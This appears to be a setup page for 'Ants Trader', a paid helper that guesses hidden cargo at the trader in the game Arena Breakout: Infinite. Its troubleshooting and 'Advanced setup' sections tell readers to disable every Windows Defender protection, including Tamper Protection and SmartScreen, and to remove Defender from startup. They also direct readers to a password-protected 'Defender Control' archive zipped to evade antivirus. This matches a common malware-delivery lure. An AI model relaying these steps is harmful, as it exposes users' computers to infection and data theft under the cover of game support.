Ants Trader setup for Arena Breakout: Infinite
How to launch the Ants Trader helper and use it at the trader in Arena Breakout: Infinite. No system preparation is needed: the launcher, the key and the sound setup take a couple of minutes, and the whole routine is shown in the video guide below.
Video guide
Requirements
- Windows 10 or 11 (x64)
- The game from the Arena Breakout launcher or from Steam
- A browser on the PC: the helper panel opens in it
- A phone is optional: the panel connects to it via a QR code
System requirements
Preparation
-
Download the AntsLauncher archive with the button at the top of the page
-
Extract it to any folder, the archive has no password
Launch
-
Start Arena Breakout: Infinite
-
Open AntsLauncher, enter your key and press Launch helper. You will not need the key again on later launches
-
The helper panel opens in the browser. In Sound settings pick the headphones or speakers you hear the game through and press Save settings
-
Check that the Game window field says Arena Breakout Infinite
-
Choose the map and mode you are heading into
-
Optionally connect a phone: Connect phone → scan the QR code or send yourself the link
Using it at the trader
The helper works at the bazaar trader: it learns the item grid and matches possible items for every cargo slot.
-
Walk up to the trader and press Enable helper — on the PC or on the phone
-
Open the trader's Buy tab and wait for the grid to appear in the helper. Slowly scroll down through the items so it remembers the whole grid
-
Hover over a cargo slot and wait for the price to be read. Then hold it with the left mouse button, drag it a little and put it back so the move sound plays
-
Check the result: the cell shows pictures of matching items and how many there are. Tap the cell to open every candidate with weight and price
- The number in a cell is how many items match, not a drop chance
- If you are hunting red items, turn on Red items first
Keep the game window in front while recognition runs. Before learning another trader, after a purchase, or if the grid was recognized wrong, press New grid.
Problems & fixes
The key is not accepted
Copy the whole key including the MH- prefix, with no spaces around it. If the launcher still returns an error, write to our support and attach a screenshot.
The grid does not appear in the helper
Check four things: the helper is on via Enable helper, the Game window field has Arena Breakout Infinite selected, the trader's Buy tab is open, and the game window is in front — no browser or other windows on top of it. If the window list is empty, press Refresh windows and devices.
The item price is not read
Hover over the cargo and hold the cursor until the game tooltip shows the price. The game window must be in front and nothing should cover the tooltip.
The helper does not hear the sound and does not narrow the list
Sound settings must point at the device the game sound actually plays through — headphones or speakers — and the settings must be saved. Keep the game sound on. Hold the cargo with the left mouse button, drag it a little and put it back so the move sound plays. With a noisy background keep adaptive noise suppression and the extra sound check on.
The grid was recognized wrong or shifted after a purchase
Press New grid on the PC or phone and slowly scroll through the trader's items again. The button is also needed before learning another trader.
The phone will not connect via the QR code
The QR link lasts 5 minutes and works once. Press Get a new QR code and scan it again. The helper must be running on the PC at the time.
The launcher disappeared after extraction or does not start
Windows Defender most likely removed it. Turn protection off using the guide below or add the launcher folder to exclusions and extract the archive again.
Advanced setup — only if it still won’t launch
Fully disable Windows Defender The #1 cause of "it won't launch". Disable it for real: manually first, then remove it from startup, reboot, and finish it off with Defender Control.
-
Step 1. Turn protection off by hand. Open Windows Security → Virus & threat protection → Manage settings and switch every toggle off:
- Real-time protection — Off.
- Cloud-delivered protection — Off.
- Automatic sample submission — Off.
- Tamper Protection — Off. Turn this one off first, otherwise the others switch themselves back on.
-
Step 2. Disable reputation-based protection. In Windows Security → App & browser control → Reputation-based protection → Settings, turn everything off (SmartScreen, potentially-unwanted-app blocking).
-
Step 3. Remove Defender from startup. Open Task Manager (Ctrl+Shift+Esc) → Startup apps tab, find Windows Security notification icon and click Disable.
-
Step 4. Restart your computer. This is mandatory — some Defender services only unload after a reboot.
-
Step 5. Finish with Defender Control. Download Defender Control (archive password: r1xon), run it as administrator and click Disable Windows Defender — the tile turns red.
- If your antivirus deletes the utility itself, protection is still active — go back to step 1. The file ships zipped on purpose so Defender can't wipe it before it's disabled.
Don't skip steps 3–4. "I turned the toggles off but it didn't help" almost always means Defender came back after restart because it was left in startup.
FAQ
Does the helper show the exact item inside the cargo?
It does not look inside the cargo; it narrows the list by clues: the trader price, slot size and position, item group, the move sound, map and mode. Often a single item remains, sometimes several — then the slot card shows every option. The number in a cell is how many items match, not a drop chance.
Do I need a phone?
No. Everything works on the PC, and the panel can sit on a second monitor. A phone is handy for checking results without minimizing the game.
Is the learned grid saved?
Yes. The grid and results stay after the trader closes and the helper restarts, and you can return to checked items. The grid is only reset by hand, with New grid.
Does the helper interact with the game?
No. The helper does not read or change game memory, does not hook into the game process and draws nothing over it: it works only with the screen picture and the sound. The grid and results can stay in a browser on a second monitor or a phone.
